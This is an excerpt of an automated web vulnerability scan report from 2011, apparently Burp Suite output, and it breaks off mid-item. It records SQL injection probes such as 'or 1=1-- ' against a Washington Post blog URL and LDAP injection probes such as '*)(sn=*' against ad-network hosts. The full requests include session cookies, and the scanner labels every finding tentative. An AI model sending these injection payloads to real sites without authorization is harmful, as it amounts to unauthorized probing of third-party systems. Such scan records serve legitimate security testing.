Date: Tue, 10 May 2011 13:21:51 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93143

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="771352"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:21:43 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:["sn
...[SNIP]...

1.28. http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.washingtonpost.com
Path:	/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html

Issue detail

The REST URL parameter 8 appears to be vulnerable to SQL injection attacks. The payloads 12449423'%20or%201%3d1--%20 and 12449423'%20or%201%3d2--%20 were each submitted in the REST URL parameter 8. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html12449423'%20or%201%3d1--%20 HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; rss_now=false; __qseg=Q_D|Q_T|Q_2919|Q_2917|Q_1665|Q_1656|Q_1647|Q_1645; s_pers=%20s_nr%3D1304310825793-New%7C1306902825793%3B%20s_lv%3D1304310825795%7C1398918825795%3B%20s_lv_s%3DFirst%2520Visit%7C1304312625795%3B%20s_vmonthnum%3D1306904400800%2526vn%253D1%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1304312625800%3B; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: d60de356-9576-4921-b120-36c06414da3f
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:16:19 GMT
Date: Tue, 10 May 2011 13:16:19 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="13684742"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:16:19 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:[
...[SNIP]...

Request 2

GET /blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html12449423'%20or%201%3d2--%20 HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; rss_now=false; __qseg=Q_D|Q_T|Q_2919|Q_2917|Q_1665|Q_1656|Q_1647|Q_1645; s_pers=%20s_nr%3D1304310825793-New%7C1306902825793%3B%20s_lv%3D1304310825795%7C1398918825795%3B%20s_lv_s%3DFirst%2520Visit%7C1304312625795%3B%20s_vmonthnum%3D1306904400800%2526vn%253D1%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1304312625800%3B; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: 4c59412c-65cb-4871-ade3-da2220a18ed3
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:16:19 GMT
Date: Tue, 10 May 2011 13:16:19 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93143

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="771352"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:15:29 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:["s
...[SNIP]...

1.29. http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.washingtonpost.com
Path:	/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 19589935%20or%201%3d1--%20 and 19589935%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html?119589935%20or%201%3d1--%20=1 HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: b793f480-3c16-4fd5-b0eb-c7dfa68cbcad
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:19:17 GMT
Date: Tue, 10 May 2011 13:19:17 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93143

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="771352"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:17:28 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:["s
...[SNIP]...

Request 2

GET /blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html?119589935%20or%201%3d2--%20=1 HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: 155d7a29-1267-4b25-8e8f-29d8c9c7cab0
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:19:17 GMT
Date: Tue, 10 May 2011 13:19:17 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="13696988"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:19:16 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:[
...[SNIP]...

2. LDAP injection previous next
There are 7 instances of this issue:

http://a.tribalfusion.com/j.ad [p parameter]
http://ar.voicefive.com/bmx3/broker.pli [pid parameter]
http://data.cmcore.com/imp [ci parameter]
http://map.media6degrees.com/orbserv/hbjs [vstcnt cookie]
http://metrics.philly.com/b/ss/phillycom/1/H.17/s67586282941047 [REST URL parameter 1]
https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3]
http://www.google.com/uds/GnewsSearch [sig parameter]

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

2.1. http://a.tribalfusion.com/j.ad [p parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://a.tribalfusion.com
Path:	/j.ad

Issue detail

The p parameter appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the p parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /j.ad?site=gathercom&adSpace=ros&tagKey=2218970080&th=22778850880&tKey=undefined&size=300x250&p=*)(sn=*&a=1&flashVer=10&ver=1.20&center=1&url=http%3A%2F%2Fpolitics.gather.com%2FviewArticle.action%3FarticleId%3D281474979309848&f=0&rnd=13173106 HTTP/1.1
Host: a.tribalfusion.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ANON_ID=alnEcatZdPcFFUL1prcLuevBTL0REIqDHaUTcrvQj66Ym2UNtCRVCmf6Ory5qQs8fY2btrH0TfL5oWbJdFSUb6ZaZcHENnAhr0c8IZcTZbsVMRid4B1ihve2fCaRXkydIFR4sCyGd7wxPARZcZa0METWMphfr0KZbBI9hZasccLBZa3ZcuZaiIMWO3V82XcWkmZbtk2UOi4fX9ZaguZaARZcNsm3bJpTtk0wJ7yOHQTwyrUhW3NcKDpwPwuZarDZahVyV166PqZalIp98ZcnA9WddAThdZcTOeBWZdMjOEW9wE4hNR3HrxyQ06acZcFZbuZaTL1r7pLTwgDRJBaG8UWfAP3jR5bV4HgPpZdovQdtJP8iZcmocSNPUqmWL4vZadYpuMaWCfVZaH2bwZb6Bpu9TNdIogDceb4IYVofUEpvGWJTZcqdoWIojT00SyN3tL98ZbEFgVQpyUAGgQTT0Zbc9KtLVyVPH8x7oFICvcgYoBbog9Bc5vZbIMcZd5kZdZbaQCEu1PttAV7DXoKoL6tEfJa883EaDC432ywNwJommsT9Zc9tERtVF4ochqNfHPlGgM8ykwVFewTTEOk5DqkIbBRFeY4HwD

Response 1

HTTP/1.1 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 101
X-Reuse-Index: 1
Pragma: no-cache
Cache-Control: private, no-cache, no-store, proxy-revalidate
Set-Cookie: ANON_ID=apnJHNRkPN7RT05AbLMZasF4kthqofPxfYY6LgEBtZaBeHoZc2tfxoKxMy3vC8oMjPhBZb4pSMNoNr2EZbopX1F5FnoFEJiaSmJSLNZcu2irXTf7n1Ihuyd0HZc8ZbcuoHPDktEr92raYU652ZcZaIVENlAiNpNJ7RtRud88xGyya1ZbaqRSZcAJOY0k217bFoSyLJJQfMnXFZcX9ZcYqRKRoY6ivoXZcpVx3WTDhP8rAiHaAysedxPyJZdrLJxZalQLG7LZdApoHepI5f8cus2oQaLhZdZaIbXHylfGRSfyFZaUdleBVM9IGuw0yluHdbkxJOquK1gSSZcVWg36Zcn7pFRNDagoYwQlaqGr2FSiZbOQRRC9ZcIg7bjZbNV13I43RUbMcnZbwNgSLUZcU7GEAsZagyysYncFctFZdMZaDgNuZckpuMWQmSobYp1uCOZcHorZc635BkwOqbH0eaefa7d4ENuOOAyLWUdm2GLJgZaVD978RvmnNZdmmjXUDpbBcxU8KFno92goB5r7nAYtUlxLhebqg0v0gZapF4OZadNVvO8BAeY7fGTjID55C4LCRuSmWgua3gK8OeWXbyS0qxZclElFjd71PX1Svvvsxx0G4SZagUQeco2rfclOL23tahKv8STZbXAbpYg3rjmrF4L15; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:24:37 GMT;
Content-Type: application/x-javascript
Vary: Accept-Encoding
Expires: 0
Connection: keep-alive
Content-Length: 383

document.write('<center><a target=_blank href="http://a.tribalfusion.com/h.click/aomNnAT6rp3G32XUnLTPip26QhQAFE4WUq0HUZbnW2u3PZbS3GrgUsU8VGB8R6FvWdUWUFFS3betWqjpTaFbSaYFSGQIRr6wRW7aVGfQ2FTvmWqrXaPp2tUEPVfH2mYZamWEoTHjcXrfiXFji1EesRFrBWFBS0EUio9ZaFRK/http://www.LetsMove.gov"><img src="http://cdn5.tribalfusion.com/media/2467856.gif" border=0 height=250 width=300 ><\/a><\/center>');

Request 2

GET /j.ad?site=gathercom&adSpace=ros&tagKey=2218970080&th=22778850880&tKey=undefined&size=300x250&p=*)!(sn=*&a=1&flashVer=10&ver=1.20&center=1&url=http%3A%2F%2Fpolitics.gather.com%2FviewArticle.action%3FarticleId%3D281474979309848&f=0&rnd=13173106 HTTP/1.1
Host: a.tribalfusion.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ANON_ID=alnEcatZdPcFFUL1prcLuevBTL0REIqDHaUTcrvQj66Ym2UNtCRVCmf6Ory5qQs8fY2btrH0TfL5oWbJdFSUb6ZaZcHENnAhr0c8IZcTZbsVMRid4B1ihve2fCaRXkydIFR4sCyGd7wxPARZcZa0METWMphfr0KZbBI9hZasccLBZa3ZcuZaiIMWO3V82XcWkmZbtk2UOi4fX9ZaguZaARZcNsm3bJpTtk0wJ7yOHQTwyrUhW3NcKDpwPwuZarDZahVyV166PqZalIp98ZcnA9WddAThdZcTOeBWZdMjOEW9wE4hNR3HrxyQ06acZcFZbuZaTL1r7pLTwgDRJBaG8UWfAP3jR5bV4HgPpZdovQdtJP8iZcmocSNPUqmWL4vZadYpuMaWCfVZaH2bwZb6Bpu9TNdIogDceb4IYVofUEpvGWJTZcqdoWIojT00SyN3tL98ZbEFgVQpyUAGgQTT0Zbc9KtLVyVPH8x7oFICvcgYoBbog9Bc5vZbIMcZd5kZdZbaQCEu1PttAV7DXoKoL6tEfJa883EaDC432ywNwJommsT9Zc9tERtVF4ochqNfHPlGgM8ykwVFewTTEOk5DqkIbBRFeY4HwD

Response 2

HTTP/1.1 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 101
X-Reuse-Index: 1
Pragma: no-cache
Cache-Control: private, no-cache, no-store, proxy-revalidate
Set-Cookie: ANON_ID=a6nK5SMZaA2iB6Zc57bM520swZdPOEPdARrg0QlPZaN4RsyOlqNcO356S0HWhDBZd3iqbAPX1eW2IPLTq4rxOMmPwkm4q2fsMZby8ZdVlUZc8wsWPxme7n98YU263p7YkZbOjCZab7TvZbTTAhhKCTEjpUWgQIQfJt40SnKAH4cCFCM1mpwbyh6ESSr39LSwQmopXjmBdrMTf1nhK9jMi2cmtYOcMVh0sxUA9NTWaSLwgTp5Zcuq1kYnvWZdlXNUfZc18dVNRS40dPOPUXB83dZa0A6FFt6s44ejRs8pPD0x6ZaCvpgqjTqjexLIVZbWmpQD59ZbS9Zc31lFv4MgS8qfyu9BnHFKZdF2XHcoc5rs0UrLACpup6G4FMhWeYZcPfh4qJgCsRvSd6udOZb8ZbbCYRRsmtVGZdZacZbZaDjDpDDwAJt0QQ5bZa7OOkGuZbWwJ12DrqxadVSGweqF86Ekm0TtDJZaOflYcgY43fFSuoDDsCKU4ypp9xlOZai8XkAYUIWc5CD1RCP0kWkNA90Dg1nMqZb5gJ3NGF9mnnjm7fXZdptbViI9GhVx7Hb4bq0eteY15hhukdh6RHCae4yQ0KIE8ohoxn5cRWSLUiZdO0w3n6xYDMUK8boeu6l4Ja4sN5xbfaVhVkIBuSDcnrMieTg4gs; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:24:38 GMT;
Content-Type: application/x-javascript
Vary: Accept-Encoding
Expires: 0
Connection: keep-alive
Content-Length: 393

document.write('<center><a target=_blank href="http://a.tribalfusion.com/h.click/a4mNnAprrEYsrSYcv40cvupab32FZbRTFfFWPrYPqb1SVBtSHZbr0dbtWAYp2GB40U3JTATu5mM7P6MA4dBrXdYAnt2u36Y05Vj8UsF9UcJ6R6FuUtM3UbZb12rApUqMoTaU7QEMISGQAQbZasSdMdWsYS2U6xyTeEn4VGpO/http://www.fightarthritispain.org"><img src="http://cdn5.tribalfusion.com/media/2467796.gif" border=0 height=250 width=300 ><\/a><\/center>');

2.2. http://ar.voicefive.com/bmx3/broker.pli [pid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The pid parameter appears to be vulnerable to LDAP injection attacks.

The payloads 1d130a381bb27744)(sn=* and 1d130a381bb27744)!(sn=* were each submitted in the pid parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

